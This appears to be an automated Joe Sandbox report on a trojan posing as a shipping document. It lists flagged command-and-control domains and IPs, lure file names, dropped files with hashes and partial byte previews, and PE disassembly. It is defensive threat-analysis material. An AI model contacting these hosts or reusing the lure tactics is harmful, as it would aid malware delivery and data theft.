https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/app.css	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	AtBroker.exe, 00000004.00000003.424626988.000000000050C000.00000004.00000020.00020000.00000000.sdmp, 1453h-8L.4.dr	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/mescroll.min.css	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/images/buy-logo.png	AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	AtBroker.exe, 00000004.00000003.424626988.000000000050C000.00000004.00000020.00020000.00000000.sdmp, 1453h-8L.4.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
45.33.6.223	www.sqlite.org	United States	63949	LINODE-APLinodeLLCUS	false
38.47.237.27	iuyi542.xyz	United States	174	COGENT-174US	true
185.27.134.144	www.hasthosting.xyz	United Kingdom	34119	WILDCARD-ASWildcardUKLimitedGB	true
38.88.82.56	www.college-help.info	United States	174	COGENT-174US	true
154.23.184.95	wcp95.top	United States	174	COGENT-174US	true
156.234.28.94	www.jllllbx.top	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	true
142.250.185.115	ghs.google.com	United States	15169	GOOGLEUS	false
15.197.148.33	binacamasala.com	United States	7430	TANDEMUS	true
67.223.117.142	www.flikka.site	United States	15189	VIMRO-AS15189US	true
104.21.14.183	www.yvrkp.top	United States	13335	CLOUDFLARENETUS	true
206.119.81.36	neg21.top	United States	174	COGENT-174US	true
194.58.112.174	www.marketplacer.top	Russian Federation	197695	AS-REGRU	true
3.33.130.190	loginov.enterprises	United States	8987	AMAZONEXPANSIONGB	true
47.129.103.185	www.kghjkx.xyz	Canada	34533	ESAMARA-ASRU	true
113.20.119.31	dns.webcake.io	Viet Nam	45903	CMCTELECOM-AS-VNCMCTelecomInfrastructureCompanyVN	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1550932
Start date and time:	2024-11-07 10:48:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SHIPPING DOC_20241107.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/6@17/15
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 94% Number of executed functions: 45 Number of non-executed functions: 275
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe
Execution Graph export aborted for target AhEyCWkdTLz.exe, PID 1648 because it is empty
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SHIPPING DOC_20241107.exe

Simulations

Behavior and APIs

Time	Type	Description
04:50:05	API Interceptor	91648x Sleep call for process: AhEyCWkdTLz.exe modified
04:50:09	API Interceptor	11460407x Sleep call for process: AtBroker.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.33.6.223	Oct2024TU-580.xls	Get hash	malicious	Unknown	Browse	www.sqlite.org/2021/sqlite-dll-win32-x86-3360000.zip
	SGS-Report0201024.xla.xlsx	Get hash	malicious	FormBook	Browse	www.sqlite.org/2017/sqlite-dll-win32-x86-3200000.zip
	IND24072113.xlsx	Get hash	malicious	Unknown	Browse	www.sqlite.org/2022/sqlite-dll-win32-x86-3380000.zip
	ekte.exe	Get hash	malicious	FormBook	Browse	www.sqlite.org/2017/sqlite-dll-win32-x86-3180000.zip
	IND24072113_1.xlsx	Get hash	malicious	Unknown	Browse	www.sqlite.org/2022/sqlite-dll-win32-x86-3380000.zip
	SOA-INV0892024.xla.xlsx	Get hash	malicious	FormBook	Browse	www.sqlite.org/2020/sqlite-dll-win32-x86-3310000.zip
	New PO-RFQ14101524.xla.xlsx	Get hash	malicious	FormBook	Browse	www.sqlite.org/2019/sqlite-dll-win32-x86-3280000.zip
	BILL OF LADDING.exe	Get hash	malicious	FormBook	Browse	www.sqlite.org/2019/sqlite-dll-win32-x86-3270000.zip
	FvYlbhvZrZ.rtf	Get hash	malicious	FormBook	Browse	www.sqlite.org/2020/sqlite-dll-win32-x86-3330000.zip
	SecuriteInfo.com.Win32.SuspectCrc.23106.21095.xlsx	Get hash	malicious	FormBook	Browse	www.sqlite.org/2017/sqlite-dll-win32-x86-3180000.zip
38.47.237.27	DHL_IMPORT_8236820594.exe	Get hash	malicious	FormBook	Browse
38.47.237.27	DHL_IMPORT_8236820594.exe	Get hash	malicious	FormBook	Browse
185.27.134.144	http://outlook-accede-aqui.iceiy.com/	Get hash	malicious	Unknown	Browse	outlook-accede-aqui.iceiy.com/jquery.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.jllllbx.top	INVOICE_PO# PUO202300054520249400661.exe	Get hash	malicious	FormBook	Browse	156.234.28.94
	HT9324-25 1x40HC LDHFCLDEHAM29656 MRSU5087674.exe	Get hash	malicious	FormBook	Browse	156.234.28.94
	OREN Engine Stores Requisition 4th quarter OREN-ES-2024-010 & OREN-ES-2024-011.exe	Get hash	malicious	FormBook	Browse	156.234.28.94
www.college-help.info	SecuriteInfo.com.FileRepMalware.20173.21714.exe	Get hash	malicious	FormBook	Browse	38.88.82.56
	NF_Payment_Ref_FAN930276.exe	Get hash	malicious	FormBook	Browse	38.88.82.56
	18in SPA-198-2024.exe	Get hash	malicious	FormBook	Browse	38.88.82.56
	WARUNKI UMOWY-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	38.88.82.56
	PO1268931024 - Bank Slip.exe	Get hash	malicious	PureLog Stealer	Browse	38.88.82.56
dns.webcake.io	https://pagina.pro/Iraq2024ew	Get hash	malicious	Unknown	Browse	203.205.10.134
	http://www.open-sora.org	Get hash	malicious	Exela Stealer, Growtopia, Python Stealer	Browse	203.205.10.134
	Versanddetails.exe	Get hash	malicious	FormBook	Browse	113.20.119.61
	Versanddetails.exe	Get hash	malicious	FormBook	Browse	113.20.119.61
	pagamento.exe	Get hash	malicious	FormBook	Browse	113.20.119.61
	Original Shipment Document.exe	Get hash	malicious	FormBook	Browse	113.20.119.61

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WILDCARD-ASWildcardUKLimitedGB	https://downloadourauthfile-list.thsite.top/?em=EU-Sales-Support@scanlab.de	Get hash	malicious	Unknown	Browse	185.27.134.155
	http://appealaccountreporte.rf.gd/?i=1	Get hash	malicious	Unknown	Browse	185.27.134.215
	kingdom.ps1	Get hash	malicious	Atlantida Stealer	Browse	31.22.4.235
	VM2ICvV5qQ.pdf	Get hash	malicious	Unknown	Browse	185.27.134.114
	http://growthsparkplus.thsite.top/?email=anna@cellnextelecom.com	Get hash	malicious	Unknown	Browse	185.27.134.108
	la.bot.arm-20241006-1050.elf	Get hash	malicious	Unknown	Browse	82.163.179.172
	https://ck.storematch.jp/bc?d=11044D9580EY4W1C2FD019VB3VD27BCW862C0351F9E0EA8-cdlaq4&B=a4f71fd1c235a114f94297e8a0a36c6e&sc_i=shp_pc_promo_mdRMBP_disp_mcad&rd=//interglobalcargoexpress.com/yuuuii#aW5mb0B2b3NzbG9oLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	31.22.4.60
	http://reactivar-email002003.hstn.me/	Get hash	malicious	Unknown	Browse	185.27.134.98
	http://instagram.totalh.net/	Get hash	malicious	Unknown	Browse	185.27.134.215
	gYYKUhFeTl.exe	Get hash	malicious	Unknown	Browse	185.27.134.11
COGENT-174US	sora.x86.elf	Get hash	malicious	Mirai	Browse	38.150.180.178
	proforma Invoice.exe	Get hash	malicious	FormBook	Browse	206.119.81.36
	nuklear.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	38.89.199.238
	pSU7fuySjo.elf	Get hash	malicious	Mirai, Moobot	Browse	149.30.15.190
	nuklear.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	38.154.20.178
	qPZwB2nc1W.elf	Get hash	malicious	Mirai, Moobot	Browse	149.66.96.211
	C6IlHsFs4g.elf	Get hash	malicious	Mirai, Moobot	Browse	38.93.130.203
	Hesap.exe	Get hash	malicious	FormBook	Browse	206.119.82.148
	http://profdentalcare.com	Get hash	malicious	Unknown	Browse	38.33.75.195
	BkZqIS5vlv.exe	Get hash	malicious	FormBook	Browse	206.119.81.36
LINODE-APLinodeLLCUS	https://majorbrdide.com	Get hash	malicious	Unknown	Browse	173.255.204.62
	DHL_doc.exe	Get hash	malicious	FormBook	Browse	45.79.252.94
	sDX1AXN1Zp.elf	Get hash	malicious	Mirai, Moobot	Browse	212.71.245.12
	https://www.usatraveldocs.com/in	Get hash	malicious	Unknown	Browse	45.33.30.197
	update.hta	Get hash	malicious	Cobalt Strike, Sliver	Browse	23.239.28.166
	SecuriteInfo.com.FileRepMalware.20173.21714.exe	Get hash	malicious	FormBook	Browse	178.79.184.196
	5WP9WCM8qV.exe	Get hash	malicious	GuLoader	Browse	45.33.20.235
	5WP9WCM8qV.exe	Get hash	malicious	GuLoader	Browse	45.33.18.44
	K8ZvbdkrGx.exe	Get hash	malicious	GuLoader	Browse	45.33.2.79
	K8ZvbdkrGx.exe	Get hash	malicious	GuLoader	Browse	45.56.79.23

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\sqlite3.dll	SecuriteInfo.com.PDF.Phishing.7B6B.tr.10532.1457.xlsx	Get hash	malicious	FormBook	Browse
	irlsever.doc	Get hash	malicious	FormBook	Browse
	Price and inventory information PO70964311.pdf.exe	Get hash	malicious	FormBook	Browse
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.12710.16004.rtf	Get hash	malicious	FormBook	Browse
	Commande_P125350_-_UES.xls	Get hash	malicious	FormBook, NSISDropper	Browse
	doc19399020230418170547.xls	Get hash	malicious	FormBook	Browse
	CustomsXIDXXXPhotos.xlsx	Get hash	malicious	FormBook	Browse
	ORDER (1).xls	Get hash	malicious	FormBook	Browse
	TedarikciSiparisi_83613 .xls	Get hash	malicious	FormBook	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\sqlite-dll-win32-x86-3350000[1].zip

Process:	C:\Windows\SysWOW64\AtBroker.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	510251
Entropy (8bit):	7.998734132980969
Encrypted:	true
SSDEEP:	12288:YADSfMz+n/gRtFbWn6qnnTJT/+3eBmvFmJpBEGp:YARkGtEn64N/UeQduBBp
MD5:	8517BF92C0FD6228875BA74B2526B3B4
SHA1:	7AA157FEED160F7E207CE961AAEE21E3075B3AB9
SHA-256:	536AD85A299F5F7AFC36F5944EA55D9F32495491265BF1305A41B3667176998D
SHA-512:	929C686123EB405C258D3ECE2466B69F641041C2E2B7A4C13C7EFA58A6654B387AC1EE4F7C643E70C84B38EDDF39ECCC6F816420E731E899468C9AB0FB9A2732
Malicious:	false
Reputation:	low
Preview:	PK.........lR.PX.j...........sqlite3.defUT....K`.K`ux.................&....6......9.$..(l.nv0x.......t#..9.............?...?...".9.d.1[..#.%......!...y.I.o...2._Z.0.......q..Z..pT.."&m......b.3E.-..g.........&..G..Lh.o#..98..]<....j.K...>...VwJ....n.<G...8...N..%.WW..W..M\.Y45@.A.`c..,.......F..5H....D1=G...o.X.e.u..X`y* ......w..Ia?.;T...r..#s..._p.Y...O+\|0..I..W..J.#..Y.65.@D.<<....J..h .6.r`-.L..w....7.....{l..H.g.....t.ieV..aR[,S.....i...S.]...(8e+..]x4.h.;.w.K...v..QN:....m....XHJ.;..90a._h.Y..Xu$.U...H:3...d.....L....g..P..v....bM.)F.C..t.(.._.j..... +....b.y.sn....~k.....Ps4\|.L..Z..@@.r..z.n....:.$.'.7...Y.`.......6:#.S...'.Lw....g.3..a.......H:2.L.Cj<.l..#.w....Ch......)......G...nW.+...o=e.p..Z...zpA8{U."..PQ.h.a.O..Y.:......v....!9..<Bb..-...r.....\|....:..9.E.Df....1.9...{...w....{..+...]..Dh=..!+...e#w).p.E(.c.....\|i..;..M.C..Rx..{..v7(.....1.'..7 Op.=..K.a..al.L...P.<..b............y...Vg....^....(..UB..:....'..+\|}...41......i8].K

C:\Users\user\AppData\Local\Temp\1453h-8L

Process:	C:\Windows\SysWOW64\AtBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\l0j4qpvx.zip

Process:	C:\Windows\SysWOW64\AtBroker.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	510251
Entropy (8bit):	7.998734132980969
Encrypted:	true
SSDEEP:	12288:YADSfMz+n/gRtFbWn6qnnTJT/+3eBmvFmJpBEGp:YARkGtEn64N/UeQduBBp
MD5:	8517BF92C0FD6228875BA74B2526B3B4
SHA1:	7AA157FEED160F7E207CE961AAEE21E3075B3AB9
SHA-256:	536AD85A299F5F7AFC36F5944EA55D9F32495491265BF1305A41B3667176998D
SHA-512:	929C686123EB405C258D3ECE2466B69F641041C2E2B7A4C13C7EFA58A6654B387AC1EE4F7C643E70C84B38EDDF39ECCC6F816420E731E899468C9AB0FB9A2732
Malicious:	false
Reputation:	low
Preview:	PK.........lR.PX.j...........sqlite3.defUT....K`.K`ux.................&....6......9.$..(l.nv0x.......t#..9.............?...?...".9.d.1[..#.%......!...y.I.o...2._Z.0.......q..Z..pT.."&m......b.3E.-..g.........&..G..Lh.o#..98..]<....j.K...>...VwJ....n.<G...8...N..%.WW..W..M\.Y45@.A.`c..,.......F..5H....D1=G...o.X.e.u..X`y* ......w..Ia?.;T...r..#s..._p.Y...O+\|0..I..W..J.#..Y.65.@D.<<....J..h .6.r`-.L..w....7.....{l..H.g.....t.ieV..aR[,S.....i...S.]...(8e+..]x4.h.;.w.K...v..QN:....m....XHJ.;..90a._h.Y..Xu$.U...H:3...d.....L....g..P..v....bM.)F.C..t.(.._.j..... +....b.y.sn....~k.....Ps4\|.L..Z..@@.r..z.n....:.$.'.7...Y.`.......6:#.S...'.Lw....g.3..a.......H:2.L.Cj<.l..#.w....Ch......)......G...nW.+...o=e.p..Z...zpA8{U."..PQ.h.a.O..Y.:......v....!9..<Bb..-...r.....\|....:..9.E.Df....1.9...{...w....{..+...]..Dh=..!+...e#w).p.E(.c.....\|i..;..M.C..Rx..{..v7(.....1.'..7 Op.=..K.a..al.L...P.<..b............y...Vg....^....(..UB..:....'..+\|}...41......i8].K

C:\Users\user\AppData\Local\Temp\sqlite3.def

Process:	C:\Windows\SysWOW64\AtBroker.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5811
Entropy (8bit):	4.352284042076067
Encrypted:	false
SSDEEP:	96:GcuN/gR+7Ggb9XdMcAM3KOGOF++hwIOVtvaENw+Y0aR:E/Q+7Ggb9bKOBF++ebvaENw+cR
MD5:	9C6E5D67D33790CB6967BFB3BA641A0F
SHA1:	B2CDC4F1A60ABE206EE8F336AA0FBF85B5319E9B
SHA-256:	2CA96E058F5F06ED9C587315E1BBAFD70928F9503BEBE952D874C157428C6F93
SHA-512:	C17648697C26C64F0244B6BB9DB5B22314EE3E3EC7A2ED93D426A37C961B7DBB43E6BF5ACFA2487F9B92F9DC33BEFD675C0D43C7ACAD225329C70E6315784B41
Malicious:	false
Preview:	EXPORTS.sqlite3_aggregate_context.sqlite3_aggregate_count.sqlite3_auto_extension.sqlite3_backup_finish.sqlite3_backup_init.sqlite3_backup_pagecount.sqlite3_backup_remaining.sqlite3_backup_step.sqlite3_bind_blob.sqlite3_bind_blob64.sqlite3_bind_double.sqlite3_bind_int.sqlite3_bind_int64.sqlite3_bind_null.sqlite3_bind_parameter_count.sqlite3_bind_parameter_index.sqlite3_bind_parameter_name.sqlite3_bind_pointer.sqlite3_bind_text.sqlite3_bind_text16.sqlite3_bind_text64.sqlite3_bind_value.sqlite3_bind_zeroblob.sqlite3_bind_zeroblob64.sqlite3_blob_bytes.sqlite3_blob_close.sqlite3_blob_open.sqlite3_blob_read.sqlite3_blob_reopen.sqlite3_blob_write.sqlite3_busy_handler.sqlite3_busy_timeout.sqlite3_cancel_auto_extension.sqlite3_changes.sqlite3_clear_bindings.sqlite3_close.sqlite3_close_v2.sqlite3_collation_needed.sqlite3_collation_needed16.sqlite3_column_blob.sqlite3_column_bytes.sqlite3_column_bytes16.sqlite3_column_count.sqlite3_column_database_name.sqlite3_column_database_name16.sqlite3_colum

C:\Users\user\AppData\Local\Temp\sqlite3.dll

Process:	C:\Windows\SysWOW64\AtBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	972779
Entropy (8bit):	6.508188536943286
Encrypted:	false
SSDEEP:	12288:XDEAIY5U9dDfmrw3xnhMRCFxJLjt0+J9G6p1pKfd+8EkzpGtE3RcAx:z9hu9FfmkBnh0CFj2+Jn1pKf3720cAx
MD5:	38A3E021EB32C9976ADAF0B3372080FC
SHA1:	68E02803C646BE21007D90BEC841C176B82211FD
SHA-256:	8CDE0275D60DA0D11954F73C7C8862CFC4B306F61BB8B1CE14ABE4A193AF2652
SHA-512:	B886CC112F2750E7300B66F7242850659FA49FDC97F75AED376CB9F5440875F303A143BF8B51068EC42674F1EBE1DFCC40534F3A7AED3CC4D20F9274B9A66D18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.PDF.Phishing.7B6B.tr.10532.1457.xlsx, Detection: malicious, Browse Filename: irlsever.doc, Detection: malicious, Browse Filename: Price and inventory information PO70964311.pdf.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.CVE-2018-0798.4.12710.16004.rtf, Detection: malicious, Browse Filename: Commande_P125350_-_UES.xls, Detection: malicious, Browse Filename: doc19399020230418170547.xls, Detection: malicious, Browse Filename: CustomsXIDXXXPhotos.xlsx, Detection: malicious, Browse Filename: ORDER (1).xls, Detection: malicious, Browse Filename: TedarikciSiparisi_83613 .xls, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....K`...........!......................... .....a.........................p.......o........ .........................'"......H...............................`6..................................................................................text...T...........................`.P`.data........ ......................@.`..rdata..t-...@.......0..............@.`@.bss....(....p........................`..edata..'".......$...^..............@.0@.idata..H...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...............................@.0..reloc..`6.......8..................@.0B/4...........0......................@.@B/19.........@......................@..B/31..................p..............@..B/45.................................@..B/57.......... ......................@.0B/70.....i....0..........

C:\Users\user\AppData\Local\Temp\starbright

Process:	C:\Users\user\Desktop\SHIPPING DOC_20241107.exe
File Type:	data
Category:	dropped
Size (bytes):	288768
Entropy (8bit):	7.995918963791684
Encrypted:	true
SSDEEP:	6144:p0Bs/f1zBlgyus3aNMA53BIdZAz4BhTVnumoQ9IeF16p8U:y+tBy/sq6CIH24BhxRoCIeF16p3
MD5:	138A146C2E0A8C09B0E0B742BAC7F84F
SHA1:	8ECB2DE3E8DBFF16C05A5B84567453ACB962EEC5
SHA-256:	034837CAFBD1A9EAC93F2FD4B9C38E79660865FA83BA46977B6CE26AB694434B
SHA-512:	B1F0BCAEB25B440D5247A041AA30E54AD3A586A5A9BC6AC8B1161F1EB2E9C9D52A7628FF475C9F245368854BB40DA656EFA0097F2086B6EF78E21A1529D38B51
Malicious:	false
Preview:	z....EQBLn.]...l.C4..qFY...RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C.JSGWZ.LL.[.u.4..ql+^9s7+60-[r754[9"pZ&.8&)y,?b.y.t95Q3x]5I.JSGYEQB57[.i:R.k0_..4.C...vV5.N...j0_.-...e%6.._1<i:R.VP8C7JSG..QB.7ST..s.VP8C7JSG.ESCG7YTT.1VVP8C7JSG.QQBL&RTT*1VVPxC7ZSGYGQBJ6RTTZ5VPP8C7JSGY5UBL4RTTZ5VTPx.7JCGYUQBL6BTTJ5VVP8C'JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTz.P."P8C..WGYUQBL`VTTJ5VVP8C7JSGYEQBl6R4TZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C7JSGYEQBL6RTTZ5VVP8C

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.444163113134078
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SHIPPING DOC_20241107.exe
File size:	1'536'512 bytes
MD5:	6fc4f6b2894fa46c60c67d2b8defd64e
SHA1:	9af4784d85e8ac730c38de094088f93c433d1e3e
SHA256:	392d0101e35db0734783ac87d4dd920f178b414cd0027eedd391fc0fcadc5798
SHA512:	a53e7d6006bee63d3048c287d716ed8623881de986089e33393649fd62638c91c33cf050d17ed201c3466d3fa8db280b3f8407fdc8043f8243433ac57200f08b
SSDEEP:	24576:FCdxte/80jYLT3U1jfsWaxJO7CKGrSeYDuzrxNCD4YHgfKCuVQ:Mw80cTsjkWaxJ2GrkuzlNCD4YHgfv
TLSH:	F665D02273DDC360CB769173BF6A77016EBB78614630B85B2F880D7DA950172162DBA3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x427f4a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672BFA29 [Wed Nov 6 23:22:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FDF3C6D72CDh
jmp 00007FDF3C6CA094h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FDF3C6CA21Ah
cmp edi, eax
jc 00007FDF3C6CA57Eh
bt dword ptr [004C31FCh], 01h
jnc 00007FDF3C6CA219h
rep movsb
jmp 00007FDF3C6CA52Ch
cmp ecx, 00000080h
jc 00007FDF3C6CA3E4h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FDF3C6CA220h
bt dword ptr [004BE324h], 01h
jc 00007FDF3C6CA6F0h
bt dword ptr [004C31FCh], 00000000h
jnc 00007FDF3C6CA3BDh
test edi, 00000003h
jne 00007FDF3C6CA3CEh
test esi, 00000003h
jne 00007FDF3C6CA3ADh
bt edi, 02h
jnc 00007FDF3C6CA21Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FDF3C6CA223h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FDF3C6CA275h
bt esi, 03h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD5 build 40629
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0xae890	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x176000	0x7130	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
